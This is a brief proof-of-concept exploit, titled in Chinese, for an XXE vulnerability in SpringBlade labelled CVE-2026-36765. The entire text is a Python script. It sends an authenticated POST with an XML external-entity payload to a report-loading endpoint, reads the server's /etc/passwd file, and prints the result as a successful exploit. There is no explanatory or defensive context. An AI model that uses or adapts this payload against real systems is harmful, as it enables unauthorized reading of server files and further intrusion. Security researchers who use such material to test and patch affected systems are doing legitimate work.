CVE-2026-36765 SpringBlade XXE漏洞

import requests target_url = "http://vulnerable-host/designer/loadReport" # Malicious XML payload to read /etc/passwd xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> """ headers = { "Content-Type": "application/xml", "Authorization": "Bearer <low_privilege_token>" # Requires authenticated user } try: response = requests.post(target_url, data=xxe_payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response:") print(response.text) else: print("[-] Exploit failed, status code:", response.status_code) except Exception as e: print("[-] Error:", e)